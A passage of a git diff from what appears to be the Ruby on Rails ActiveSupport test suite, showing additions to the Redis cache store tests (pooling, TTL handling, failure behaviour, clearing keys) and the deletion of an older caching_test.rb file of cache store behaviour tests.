+      Redis.stub(:new, mock) do
+        @cache = build url: REDIS_URLS
+        assert_kind_of ::Redis::Distributed, @cache.redis
+      end
+
+      assert_mock(mock)
+    end
+
+    test "block argument uses yielded client" do
+      block = -> { :custom_redis_client }
+      assert_called block, :call do
+        build redis: block
+      end
+    end
+
+    test "instance of Redis uses given instance" do
+      redis_instance = Redis.new
+      @cache = build(redis: redis_instance)
+      assert_same @cache.redis, redis_instance
+    end
+
+    test "validate pool arguments" do
+      assert_raises TypeError do
+        build(url: REDIS_URL, pool: { size: [] })
+      end
+
+      assert_raises TypeError do
+        build(url: REDIS_URL, pool: { timeout: [] })
+      end
+
+      build(url: REDIS_URL, pool: { size: "12", timeout: "1.5" })
+    end
+
+    test "instantiating the store doesn't connect to Redis" do
+      assert_nothing_raised do
+        build(url: "redis://localhost:1")
+      end
+    end
+
+    private
+      def build(**kwargs)
+        ActiveSupport::Cache::RedisCacheStore.new(pool: false, **kwargs).tap(&:redis)
+      end
+  end
+
+  class StoreTest < ActiveSupport::TestCase
+    setup do
+      @cache = nil
+      skip "Redis server is not up" unless REDIS_UP
+      @namespace = "test-#{SecureRandom.hex}"
+
+      @cache = lookup_store(expires_in: 60)
+      # @cache.logger = Logger.new($stdout)  # For test debugging
+
+      @cache_no_ttl = lookup_store
+
+      # For LocalCacheBehavior tests
+      @peek = lookup_store(expires_in: 60)
+    end
+
+    def lookup_store(options = {})
+      ActiveSupport::Cache.lookup_store(:redis_cache_store, { timeout: 0.1, namespace: @namespace, pool: false }.merge(options))
+    end
+
+    teardown do
+      @cache.clear
+      @cache.redis.with do |r|
+        r.respond_to?(:on_each_node, true) ? r.send(:on_each_node, :disconnect!) : r.disconnect!
+      end
+    end
+  end
+
+  class RedisCacheStoreCommonBehaviorTest < StoreTest
+    include CacheStoreBehavior
+    include CacheStoreVersionBehavior
+    include CacheStoreCoderBehavior
+    include CacheStoreCompressionBehavior
+    include CacheStoreFormatVersionBehavior
+    include CacheStoreSerializerBehavior
+    include LocalCacheBehavior
+    include CacheIncrementDecrementBehavior
+    include CacheInstrumentationBehavior
+    include CacheLoggingBehavior
+    include EncodedKeyCacheBehavior
+
+    def test_fetch_multi_uses_redis_mget
+      assert_called(redis_backend, :mget, returns: []) do
+        @cache.fetch_multi("a", "b", "c") do |key|
+          key * 2
+        end
+      end
+    end
+
+    def test_fetch_multi_with_namespace
+      assert_called_with(redis_backend, :mget, ["custom-namespace:a", "custom-namespace:b", "custom-namespace:c"], returns: []) do
+        @cache.fetch_multi("a", "b", "c", namespace: "custom-namespace") do |key|
+          key * 2
+        end
+      end
+    end
+
+    def test_write_expires_at
+      @cache.write "key_with_expires_at", "bar", expires_at: 30.minutes.from_now
+      redis_backend do |r|
+        assert r.ttl("#{@namespace}:key_with_expires_at") > 0
+      end
+    end
+
+    def test_write_with_unless_exist
+      assert_equal true, @cache.write("foo", 1)
+      assert_equal false, @cache.write("foo", 1, unless_exist: true)
+    end
+
+    def test_increment_ttl
+      # existing key
+      redis_backend(@cache_no_ttl) { |r| r.set "#{@namespace}:jar", 10 }
+      @cache_no_ttl.increment "jar", 1
+      redis_backend(@cache_no_ttl) do |r|
+        assert r.get("#{@namespace}:jar").to_i == 11
+        assert r.ttl("#{@namespace}:jar") < 0
+      end
+
+      # new key
+      @cache_no_ttl.increment "kar", 1
+      redis_backend(@cache_no_ttl) do |r|
+        assert r.get("#{@namespace}:kar").to_i == 1
+        assert r.ttl("#{@namespace}:kar") < 0
+      end
+    end
+
+    def test_increment_expires_in
+      @cache.increment "foo", expires_in: 60
+      redis_backend do |r|
+        assert r.exists?("#{@namespace}:foo")
+        assert r.ttl("#{@namespace}:foo") > 0
+      end
+
+      # key and ttl exist
+      redis_backend { |r| r.setex "#{@namespace}:bar", 120, 1 }
+      @cache.increment "bar", expires_in: 60
+      redis_backend do |r|
+        assert r.ttl("#{@namespace}:bar") > 60
+      end
+
+      # key exist but not have expire
+      redis_backend(@cache_no_ttl) { |r| r.set "#{@namespace}:dar", 10 }
+      @cache_no_ttl.increment "dar", expires_in: 60
+      redis_backend(@cache_no_ttl) do |r|
+        assert r.ttl("#{@namespace}:dar") > 0
+      end
+    end
+
+    def test_decrement_ttl
+      # existing key
+      redis_backend(@cache_no_ttl) { |r| r.set "#{@namespace}:jar", 10 }
+      @cache_no_ttl.decrement "jar", 1
+      redis_backend(@cache_no_ttl) do |r|
+        assert r.get("#{@namespace}:jar").to_i == 9
+        assert r.ttl("#{@namespace}:jar") < 0
+      end
+
+      # new key
+      @cache_no_ttl.decrement "kar", 1
+      redis_backend(@cache_no_ttl) do |r|
+        assert r.get("#{@namespace}:kar").to_i == -1
+        assert r.ttl("#{@namespace}:kar") < 0
+      end
+    end
+
+    def test_decrement_expires_in
+      @cache.decrement "foo", 1, expires_in: 60
+      redis_backend do |r|
+        assert r.exists?("#{@namespace}:foo")
+        assert r.ttl("#{@namespace}:foo") > 0
+      end
+
+      # key and ttl exist
+      redis_backend { |r| r.setex "#{@namespace}:bar", 120, 1 }
+      @cache.decrement "bar", 1, expires_in: 60
+      redis_backend do |r|
+        assert r.ttl("#{@namespace}:bar") > 60
+      end
+
+      # key exist but not have expire
+      redis_backend(@cache_no_ttl) { |r| r.set "#{@namespace}:dar", 10 }
+      @cache_no_ttl.decrement "dar", 1, expires_in: 60
+      redis_backend(@cache_no_ttl) do |r|
+        assert r.ttl("#{@namespace}:dar") > 0
+      end
+    end
+
+    test "fetch caches nil" do
+      @cache.write("foo", nil)
+      assert_not_called(@cache, :write) do
+        assert_nil @cache.fetch("foo") { "baz" }
+      end
+    end
+
+    test "skip_nil is passed to ActiveSupport::Cache" do
+      @cache = lookup_store(skip_nil: true)
+      assert_not_called(@cache, :write) do
+        assert_nil @cache.fetch("foo") { nil }
+        assert_equal false, @cache.exist?("foo")
+      end
+    end
+
+    def redis_backend(cache = @cache)
+      cache.redis.with do |r|
+        yield r if block_given?
+        return r
+      end
+    end
+  end
+
+  class RedisCacheStoreWithDistributedRedisTest < RedisCacheStoreCommonBehaviorTest
+    def lookup_store(options = {})
+      super(options.merge(pool: { size: 5 }, url: [ENV["REDIS_URL"] || "redis://localhost:6379/0"] * 2))
+    end
+  end
+
+  class ConnectionPoolBehaviorTest < StoreTest
+    include ConnectionPoolBehavior
+
+    def test_pool_options_work
+      cache = ActiveSupport::Cache.lookup_store(:redis_cache_store, pool: { size: 2, timeout: 1 })
+      pool = cache.redis # loads 'connection_pool' gem
+      assert_kind_of ::ConnectionPool, pool
+      assert_equal 2, pool.size
+      assert_equal 1, pool.instance_variable_get(:@timeout)
+    end
+
+    def test_connection_pooling_by_default
+      cache = ActiveSupport::Cache.lookup_store(:redis_cache_store)
+      pool = cache.redis
+      assert_kind_of ::ConnectionPool, pool
+      assert_equal 5, pool.size
+      assert_equal 5, pool.instance_variable_get(:@timeout)
+    end
+
+    def test_no_connection_pooling_by_default_when_already_a_pool
+      redis = ::ConnectionPool.new(size: 10, timeout: 2.5) { Redis.new }
+      cache = ActiveSupport::Cache.lookup_store(:redis_cache_store, redis: redis)
+      pool = cache.redis
+      assert_kind_of ::ConnectionPool, pool
+      assert_same redis, pool
+      assert_equal 10, pool.size
+      assert_equal 2.5, pool.instance_variable_get(:@timeout)
+    end
+
+    def test_no_connection_pooling_by_default_when_already_wrapped_in_a_pool
+      redis = ::ConnectionPool::Wrapper.new(size: 10, timeout: 2.5) { Redis.new }
+      cache = ActiveSupport::Cache.lookup_store(:redis_cache_store, redis: redis)
+      wrapped_redis = cache.redis
+      assert_kind_of ::Redis, wrapped_redis
+      assert_same redis, wrapped_redis
+      pool = wrapped_redis.wrapped_pool
+      assert_kind_of ::ConnectionPool, pool
+      assert_equal 10, pool.size
+      assert_equal 2.5, pool.instance_variable_get(:@timeout)
+    end
+
+    private
+      def store
+        [:redis_cache_store]
+      end
+
+      def emulating_latency
+        old_redis = Object.send(:remove_const, :Redis)
+        Object.const_set(:Redis, SlowRedis)
+
+        yield
+      ensure
+        Object.send(:remove_const, :Redis)
+        Object.const_set(:Redis, old_redis)
+      end
+  end
+
+  class RedisDistributedConnectionPoolBehaviorTest < ConnectionPoolBehaviorTest
+    private
+      def store_options
+        { url: REDIS_URLS }
+      end
+  end
+
+  class StoreAPITest < StoreTest
+  end
+
+  class UnavailableRedisClient < Redis::Client
+    def ensure_connected(...)
+      raise Redis::BaseConnectionError
+    end
+  end
+
+  class MaxClientsReachedRedisClient < Redis::Client
+    def ensure_connected(...)
+      raise Redis::CommandError
+    end
+  end
+
+  class FailureRaisingFromUnavailableClientTest < StoreTest
+    include FailureRaisingBehavior
+
+    private
+      def emulating_unavailability
+        old_client = Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, UnavailableRedisClient)
+
+        yield ActiveSupport::Cache::RedisCacheStore.new(namespace: @namespace,
+                                                        error_handler: -> (method:, returning:, exception:) { raise exception })
+      ensure
+        Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, old_client)
+      end
+  end
+
+  class FailureRaisingFromMaxClientsReachedErrorTest < StoreTest
+    include FailureRaisingBehavior
+
+    private
+      def emulating_unavailability
+        old_client = Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, MaxClientsReachedRedisClient)
+
+        yield ActiveSupport::Cache::RedisCacheStore.new(namespace: @namespace,
+                                                        error_handler: -> (method:, returning:, exception:) { raise exception })
+      ensure
+        Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, old_client)
+      end
+  end
+
+  class FailureSafetyFromUnavailableClientTest < StoreTest
+    include FailureSafetyBehavior
+
+    private
+      def emulating_unavailability
+        old_client = Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, UnavailableRedisClient)
+
+        yield ActiveSupport::Cache::RedisCacheStore.new(namespace: @namespace)
+      ensure
+        Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, old_client)
+      end
+  end
+
+  class FailureSafetyFromMaxClientsReachedErrorTest < StoreTest
+    include FailureSafetyBehavior
+
+    private
+      def emulating_unavailability
+        old_client = Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, MaxClientsReachedRedisClient)
+
+        yield ActiveSupport::Cache::RedisCacheStore.new(namespace: @namespace)
+      ensure
+        Redis.send(:remove_const, :Client)
+        Redis.const_set(:Client, old_client)
+      end
+  end
+
+  class DeleteMatchedTest < StoreTest
+    test "deletes keys matching glob" do
+      prefix = SecureRandom.alphanumeric
+      key = "#{prefix}#{SecureRandom.uuid}"
+      @cache.write(key, "bar")
+
+      other_key = SecureRandom.uuid
+      @cache.write(other_key, SecureRandom.alphanumeric)
+      @cache.delete_matched("#{prefix}*")
+      assert_not @cache.exist?(key)
+      assert @cache.exist?(other_key)
+    end
+
+    test "fails with regexp matchers" do
+      assert_raise ArgumentError do
+        @cache.delete_matched(/OO/i)
+      end
+    end
+  end
+
+  class ClearTest < StoreTest
+    test "clear all cache key" do
+      key = SecureRandom.uuid
+      other_key = SecureRandom.uuid
+      @cache.write(key, SecureRandom.uuid)
+      @cache.write(other_key, SecureRandom.uuid)
+      @cache.clear
+      assert_not @cache.exist?(key)
+      assert_not @cache.exist?(other_key)
+    end
+
+    test "only clear namespace cache key" do
+      key = SecureRandom.uuid
+      other_key = SecureRandom.uuid
+
+      @cache.write(key, SecureRandom.alphanumeric)
+      @cache.redis.set(other_key, SecureRandom.alphanumeric)
+      @cache.clear
+
+      assert_not @cache.exist?(key)
+      assert @cache.redis.exists?(other_key)
+      @cache.redis.del(other_key)
+    end
+
+    test "clear all cache key with Redis::Distributed" do
+      cache = ActiveSupport::Cache::RedisCacheStore.new(
+        url: REDIS_URLS,
+        timeout: 0.1, namespace: @namespace, expires_in: 60)
+      cache.write("foo", "bar")
+      cache.write("fu", "baz")
+      cache.clear
+      assert_not cache.exist?("foo")
+      assert_not cache.exist?("fu")
+    end
+  end
+
+  class RawTest < StoreTest
+    test "does not compress values read with \"raw\" enabled" do
+      @cache.write("foo", "bar", raw: true)
+
+      assert_not_called_on_instance_of ActiveSupport::Cache::Entry, :compressed do
+        @cache.read("foo", raw: true)
+      end
+    end
+  end
+end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
deleted file mode 100644
index c543122d91376..0000000000000
--- a/activesupport/test/caching_test.rb
+++ /dev/null
@@ -1,1192 +0,0 @@
-require "logger"
-require "abstract_unit"
-require "active_support/cache"
-require "dependencies_test_helpers"
-
-require "pathname"
-
-module ActiveSupport
-  module Cache
-    module Strategy
-      module LocalCache
-        class MiddlewareTest < ActiveSupport::TestCase
-          def test_local_cache_cleared_on_close
-            key = "super awesome key"
-            assert_nil LocalCacheRegistry.cache_for key
-            middleware = Middleware.new("<3", key).new(->(env) {
-              assert LocalCacheRegistry.cache_for(key), "should have a cache"
-              [200, {}, []]
-            })
-            _, _, body = middleware.call({})
-            assert LocalCacheRegistry.cache_for(key), "should still have a cache"
-            body.each {}
-            assert LocalCacheRegistry.cache_for(key), "should still have a cache"
-            body.close
-            assert_nil LocalCacheRegistry.cache_for(key)
-          end
-
-          def test_local_cache_cleared_and_response_should_be_present_on_invalid_parameters_error
-            key = "super awesome key"
-            assert_nil LocalCacheRegistry.cache_for key
-            middleware = Middleware.new("<3", key).new(->(env) {
-              assert LocalCacheRegistry.cache_for(key), "should have a cache"
-              raise Rack::Utils::InvalidParameterError
-            })
-            response = middleware.call({})
-            assert response, "response should exist"
-            assert_nil LocalCacheRegistry.cache_for(key)
-          end
-
-          def test_local_cache_cleared_on_exception
-            key = "super awesome key"
-            assert_nil LocalCacheRegistry.cache_for key
-            middleware = Middleware.new("<3", key).new(->(env) {
-              assert LocalCacheRegistry.cache_for(key), "should have a cache"
-              raise
-            })
-            assert_raises(RuntimeError) { middleware.call({}) }
-            assert_nil LocalCacheRegistry.cache_for(key)
-          end
-        end
-      end
-    end
-  end
-end
-
-class CacheKeyTest < ActiveSupport::TestCase
-  def test_entry_legacy_optional_ivars
-    legacy = Class.new(ActiveSupport::Cache::Entry) do
-      def initialize(value, options = {})
-        @value = value
-        @expires_in = nil
-        @created_at = nil
-        super
-      end
-    end
-
-    entry = legacy.new "foo"
-    assert_equal "foo", entry.value
-  end
-
-  def test_expand_cache_key
-    assert_equal "1/2/true", ActiveSupport::Cache.expand_cache_key([1, "2", true])
-    assert_equal "name/1/2/true", ActiveSupport::Cache.expand_cache_key([1, "2", true], :name)
-  end
-
-  def test_expand_cache_key_with_rails_cache_id
-    with_env("RAILS_CACHE_ID" => "c99") do
-      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key(:foo)
-      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key([:foo])
-      assert_equal "c99/foo/bar", ActiveSupport::Cache.expand_cache_key([:foo, :bar])
-      assert_equal "nm/c99/foo", ActiveSupport::Cache.expand_cache_key(:foo, :nm)
-      assert_equal "nm/c99/foo", ActiveSupport::Cache.expand_cache_key([:foo], :nm)
-      assert_equal "nm/c99/foo/bar", ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
-    end
-  end
-
-  def test_expand_cache_key_with_rails_app_version
-    with_env("RAILS_APP_VERSION" => "rails3") do
-      assert_equal "rails3/foo", ActiveSupport::Cache.expand_cache_key(:foo)
-    end
-  end
-
-  def test_expand_cache_key_rails_cache_id_should_win_over_rails_app_version
-    with_env("RAILS_CACHE_ID" => "c99", "RAILS_APP_VERSION" => "rails3") do
-      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key(:foo)
-    end
-  end
-
-  def test_expand_cache_key_respond_to_cache_key
-    key = "foo"
-    def key.cache_key
-      :foo_key
-    end
-    assert_equal "foo_key", ActiveSupport::Cache.expand_cache_key(key)
-  end
-
-  def test_expand_cache_key_array_with_something_that_responds_to_cache_key
-    key = "foo"
-    def key.cache_key
-      :foo_key
-    end
-    assert_equal "foo_key", ActiveSupport::Cache.expand_cache_key([key])
-  end
-
-  def test_expand_cache_key_of_nil
-    assert_equal "", ActiveSupport::Cache.expand_cache_key(nil)
-  end
-
-  def test_expand_cache_key_of_false
-    assert_equal "false", ActiveSupport::Cache.expand_cache_key(false)
-  end
-
-  def test_expand_cache_key_of_true
-    assert_equal "true", ActiveSupport::Cache.expand_cache_key(true)
-  end
-
-  def test_expand_cache_key_of_array_like_object
-    assert_equal "foo/bar/baz", ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
-  end
-
-  private
-
-    def with_env(kv)
-      old_values = {}
-      kv.each { |key, value| old_values[key], ENV[key] = ENV[key], value }
-      yield
-    ensure
-      old_values.each { |key, value| ENV[key] = value }
-    end
-end
-
-class CacheStoreSettingTest < ActiveSupport::TestCase
-  def test_memory_store_gets_created_if_no_arguments_passed_to_lookup_store_method
-    store = ActiveSupport::Cache.lookup_store
-    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)
-  end
-
-  def test_memory_store
-    store = ActiveSupport::Cache.lookup_store :memory_store
-    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)
-  end
-
-  def test_file_fragment_cache_store
-    store = ActiveSupport::Cache.lookup_store :file_store, "/path/to/cache/directory"
-    assert_kind_of(ActiveSupport::Cache::FileStore, store)
-    assert_equal "/path/to/cache/directory", store.cache_path
-  end
-
-  def test_mem_cache_fragment_cache_store
-    assert_called_with(Dalli::Client, :new, [%w[localhost], {}]) do
-      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost"
-      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-    end
-  end
-
-  def test_mem_cache_fragment_cache_store_with_given_mem_cache
-    mem_cache = Dalli::Client.new
-    assert_not_called(Dalli::Client, :new) do
-      store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache
-      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-    end
-  end
-
-  def test_mem_cache_fragment_cache_store_with_not_dalli_client
-    assert_not_called(Dalli::Client, :new) do
-      memcache = Object.new
-      assert_raises(ArgumentError) do
-        ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
-      end
-    end
-  end
-
-  def test_mem_cache_fragment_cache_store_with_multiple_servers
-    assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], {}]) do
-      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", "192.168.1.1"
-      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-    end
-  end
-
-  def test_mem_cache_fragment_cache_store_with_options
-    assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], { timeout: 10 }]) do
-      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", "192.168.1.1", namespace: "foo", timeout: 10
-      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-      assert_equal "foo", store.options[:namespace]
-    end
-  end
-
-  def test_object_assigned_fragment_cache_store
-    store = ActiveSupport::Cache.lookup_store ActiveSupport::Cache::FileStore.new("/path/to/cache/directory")
-    assert_kind_of(ActiveSupport::Cache::FileStore, store)
-    assert_equal "/path/to/cache/directory", store.cache_path
-  end
-end
-
-class CacheStoreNamespaceTest < ActiveSupport::TestCase
-  def test_static_namespace
-    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "tester")
-    cache.write("foo", "bar")
-    assert_equal "bar", cache.read("foo")
-    assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
-  end
-
-  def test_proc_namespace
-    test_val = "tester"
-    proc = lambda { test_val }
-    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: proc)
-    cache.write("foo", "bar")
-    assert_equal "bar", cache.read("foo")
-    assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
-  end
-
-  def test_delete_matched_key_start
-    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "tester")
-    cache.write("foo", "bar")
-    cache.write("fu", "baz")
-    cache.delete_matched(/^fo/)
-    assert !cache.exist?("foo")
-    assert cache.exist?("fu")
-  end
-
-  def test_delete_matched_key
-    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "foo")
-    cache.write("foo", "bar")
-    cache.write("fu", "baz")
-    cache.delete_matched(/OO/i)
-    assert !cache.exist?("foo")
-    assert cache.exist?("fu")
-  end
-end
-
-# Tests the base functionality that should be identical across all cache stores.
-module CacheStoreBehavior
-  def test_should_read_and_write_strings
-    assert @cache.write("foo", "bar")
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_should_overwrite
-    @cache.write("foo", "bar")
-    @cache.write("foo", "baz")
-    assert_equal "baz", @cache.read("foo")
-  end
-
-  def test_fetch_without_cache_miss
-    @cache.write("foo", "bar")
-    assert_not_called(@cache, :write) do
-      assert_equal "bar", @cache.fetch("foo") { "baz" }
-    end
-  end
-
-  def test_fetch_with_cache_miss
-    assert_called_with(@cache, :write, ["foo", "baz", @cache.options]) do
-      assert_equal "baz", @cache.fetch("foo") { "baz" }
-    end
-  end
-
-  def test_fetch_with_cache_miss_passes_key_to_block
-    cache_miss = false
-    assert_equal 3, @cache.fetch("foo") { |key| cache_miss = true; key.length }
-    assert cache_miss
-
-    cache_miss = false
-    assert_equal 3, @cache.fetch("foo") { |key| cache_miss = true; key.length }
-    assert !cache_miss
-  end
-
-  def test_fetch_with_forced_cache_miss
-    @cache.write("foo", "bar")
-    assert_not_called(@cache, :read) do
-      assert_called_with(@cache, :write, ["foo", "bar", @cache.options.merge(force: true)]) do
-        @cache.fetch("foo", force: true) { "bar" }
-      end
-    end
-  end
-
-  def test_fetch_with_cached_nil
-    @cache.write("foo", nil)
-    assert_not_called(@cache, :write) do
-      assert_nil @cache.fetch("foo") { "baz" }
-    end
-  end
-
-  def test_fetch_with_forced_cache_miss_with_block
-    @cache.write("foo", "bar")
-    assert_equal "foo_bar", @cache.fetch("foo", force: true) { "foo_bar" }
-  end
-
-  def test_fetch_with_forced_cache_miss_without_block
-    @cache.write("foo", "bar")
-    assert_raises(ArgumentError) do
-      @cache.fetch("foo", force: true)
-    end
-
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_should_read_and_write_hash
-    assert @cache.write("foo", a: "b")
-    assert_equal({ a: "b" }, @cache.read("foo"))
-  end
-
-  def test_should_read_and_write_integer
-    assert @cache.write("foo", 1)
-    assert_equal 1, @cache.read("foo")
-  end
-
-  def test_should_read_and_write_nil
-    assert @cache.write("foo", nil)
-    assert_nil @cache.read("foo")
-  end
-
-  def test_should_read_and_write_false
-    assert @cache.write("foo", false)
-    assert_equal false, @cache.read("foo")
-  end
-
-  def test_read_multi
-    @cache.write("foo", "bar")
-    @cache.write("fu", "baz")
-    @cache.write("fud", "biz")
-    assert_equal({ "foo" => "bar", "fu" => "baz" }, @cache.read_multi("foo", "fu"))
-  end
-
-  def test_read_multi_with_expires
-    time = Time.now
-    @cache.write("foo", "bar", expires_in: 10)
-    @cache.write("fu", "baz")
-    @cache.write("fud", "biz")
-    Time.stub(:now, time + 11) do
-      assert_equal({ "fu" => "baz" }, @cache.read_multi("foo", "fu"))
-    end
-  end
-
-  def test_fetch_multi
-    @cache.write("foo", "bar")
-    @cache.write("fud", "biz")
-
-    values = @cache.fetch_multi("foo", "fu", "fud") { |value| value * 2 }
-
-    assert_equal({ "foo" => "bar", "fu" => "fufu", "fud" => "biz" }, values)
-    assert_equal("fufu", @cache.read("fu"))
-  end
-
-  def test_multi_with_objects
-    cache_struct = Struct.new(:cache_key, :title)
-    foo = cache_struct.new("foo", "FOO!")
-    bar = cache_struct.new("bar")
-
-    @cache.write("bar", "BAM!")
-
-    values = @cache.fetch_multi(foo, bar) { |object| object.title }
-
-    assert_equal({ foo => "FOO!", bar => "BAM!" }, values)
-  end
-
-  def test_fetch_multi_without_block
-    assert_raises(ArgumentError) do
-      @cache.fetch_multi("foo")
-    end
-  end
-
-  def test_read_and_write_compressed_small_data
-    @cache.write("foo", "bar", compress: true)
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_read_and_write_compressed_large_data
-    @cache.write("foo", "bar", compress: true, compress_threshold: 2)
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_read_and_write_compressed_nil
-    @cache.write("foo", nil, compress: true)
-    assert_nil @cache.read("foo")
-  end
-
-  def test_cache_key
-    obj = Object.new
-    def obj.cache_key
-      :foo
-    end
-    @cache.write(obj, "bar")
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_param_as_cache_key
-    obj = Object.new
-    def obj.to_param
-      "foo"
-    end
-    @cache.write(obj, "bar")
-    assert_equal "bar", @cache.read("foo")
-  end
-
-  def test_array_as_cache_key
-    @cache.write([:fu, "foo"], "bar")
-    assert_equal "bar", @cache.read("fu/foo")
-  end
-
-  def test_hash_as_cache_key
-    @cache.write({ foo: 1, fu: 2 }, "bar")
-    assert_equal "bar", @cache.read("foo=1/fu=2")
-  end
-
-  def test_keys_are_case_sensitive
-    @cache.write("foo", "bar")
-    assert_nil @cache.read("FOO")
-  end
-
-  def test_exist
-    @cache.write("foo", "bar")
-    assert_equal true, @cache.exist?("foo")
-    assert_equal false, @cache.exist?("bar")
-  end
-
-  def test_nil_exist
-    @cache.write("foo", nil)
-    assert @cache.exist?("foo")
-  end
-
-  def test_delete
-    @cache.write("foo", "bar")
-    assert @cache.exist?("foo")
-    assert @cache.delete("foo")
-    assert !@cache.exist?("foo")
-  end
-
-  def test_original_store_objects_should_not_be_immutable
-    bar = "bar"
-    @cache.write("foo", bar)
-    assert_nothing_raised { bar.gsub!(/.*/, "baz") }
-  end
-
-  def test_expires_in
-    time = Time.local(2008, 4, 24)
-
-    Time.stub(:now, time) do
-      @cache.write("foo", "bar")
-      assert_equal "bar", @cache.read("foo")
-    end
-
-    Time.stub(:now, time + 30) do
-      assert_equal "bar", @cache.read("foo")
-    end
-
-    Time.stub(:now, time + 61) do
-      assert_nil @cache.read("foo")
-    end
-  end
-
-  def test_race_condition_protection_skipped_if_not_defined
-    @cache.write("foo", "bar")
-    time = @cache.send(:read_entry, @cache.send(:normalize_key, "foo", {}), {}).expires_at
-
-    Time.stub(:now, Time.at(time)) do
-      result = @cache.fetch("foo") do
-        assert_nil @cache.read("foo")
-        "baz"
-      end
-      assert_equal "baz", result
-    end
-  end
-
-  def test_race_condition_protection_is_limited
-    time = Time.now
-    @cache.write("foo", "bar", expires_in: 60)
-    Time.stub(:now, time + 71) do
-      result = @cache.fetch("foo", race_condition_ttl: 10) do
-        assert_nil @cache.read("foo")
-        "baz"
-      end
-      assert_equal "baz", result
-    end
-  end
-
-  def test_race_condition_protection_is_safe
-    time = Time.now
-    @cache.write("foo", "bar", expires_in: 60)
-    Time.stub(:now, time + 61) do
-      begin
-        @cache.fetch("foo", race_condition_ttl: 10) do
-          assert_equal "bar", @cache.read("foo")
-          raise ArgumentError.new
-        end
-      rescue ArgumentError
-      end
-      assert_equal "bar", @cache.read("foo")
-    end
-    Time.stub(:now, time + 91) do
-      assert_nil @cache.read("foo")
-    end
-  end
-
-  def test_race_condition_protection
-    time = Time.now
-    @cache.write("foo", "bar", expires_in: 60)
-    Time.stub(:now, time + 61) do
-      result = @cache.fetch("foo", race_condition_ttl: 10) do
-        assert_equal "bar", @cache.read("foo")
-        "baz"
-      end
-      assert_equal "baz", result
-    end
-  end
-
-  def test_crazy_key_characters
-    crazy_key = "#/:*(<+=> )&$%@?;'\"\'`~-"
-    assert @cache.write(crazy_key, "1", raw: true)
-    assert_equal "1", @cache.read(crazy_key)
-    assert_equal "1", @cache.fetch(crazy_key)
-    assert @cache.delete(crazy_key)
-    assert_equal "2", @cache.fetch(crazy_key, raw: true) { "2" }
-    assert_equal 3, @cache.increment(crazy_key)
-    assert_equal 2, @cache.decrement(crazy_key)
-  end
-
-  def test_really_long_keys
-    key = ""
-    900.times { key << "x" }
-    assert @cache.write(key, "bar")
-    assert_equal "bar", @cache.read(key)
-    assert_equal "bar", @cache.fetch(key)
-    assert_nil @cache.read("#{key}x")
-    assert_equal({ key => "bar" }, @cache.read_multi(key))
-    assert @cache.delete(key)
-  end
-
-  def test_cache_hit_instrumentation
-    key = "test_key"
-    @events = []
-    ActiveSupport::Notifications.subscribe "cache_read.active_support" do |*args|
-      @events << ActiveSupport::Notifications::Event.new(*args)
-    end
-    assert @cache.write(key, "1", raw: true)
-    assert @cache.fetch(key) {}
-    assert_equal 1, @events.length
-    assert_equal "cache_read.active_support", @events[0].name
-    assert_equal :fetch, @events[0].payload[:super_operation]
-    assert @events[0].payload[:hit]
-  ensure
-    ActiveSupport::Notifications.unsubscribe "cache_read.active_support"
-  end
-
-  def test_cache_miss_instrumentation
-    @events = []
-    ActiveSupport::Notifications.subscribe(/^cache_(.*)\.active_support$/) do |*args|
-      @events << ActiveSupport::Notifications::Event.new(*args)
-    end
-    assert_not @cache.fetch("bad_key") {}
-    assert_equal 3, @events.length
-    assert_equal "cache_read.active_support", @events[0].name
-    assert_equal "cache_generate.active_support", @events[1].name
-    assert_equal "cache_write.active_support", @events[2].name
-    assert_equal :fetch, @events[0].payload[:super_operation]
-    assert_not @events[0].payload[:hit]
-  ensure
-    ActiveSupport::Notifications.unsubscribe "cache_read.active_support"
-  end
-end
-
-# https://rails.lighthouseapp.com/projects/8994/tickets/6225-memcachestore-cant-deal-with-umlauts-and-special-characters
-# The error is caused by character encodings that can't be compared with ASCII-8BIT regular expressions and by special
-# characters like the umlaut in UTF-8.
-module EncodedKeyCacheBehavior
-  Encoding.list.each do |encoding|
-    define_method "test_#{encoding.name.underscore}_encoded_values" do
-      key = "foo".force_encoding(encoding)
-      assert @cache.write(key, "1", raw: true)
-      assert_equal "1", @cache.read(key)
-      assert_equal "1", @cache.fetch(key)
-      assert @cache.delete(key)
-      assert_equal "2", @cache.fetch(key, raw: true) { "2" }
-      assert_equal 3, @cache.increment(key)
-      assert_equal 2, @cache.decrement(key)
-    end
-  end
-
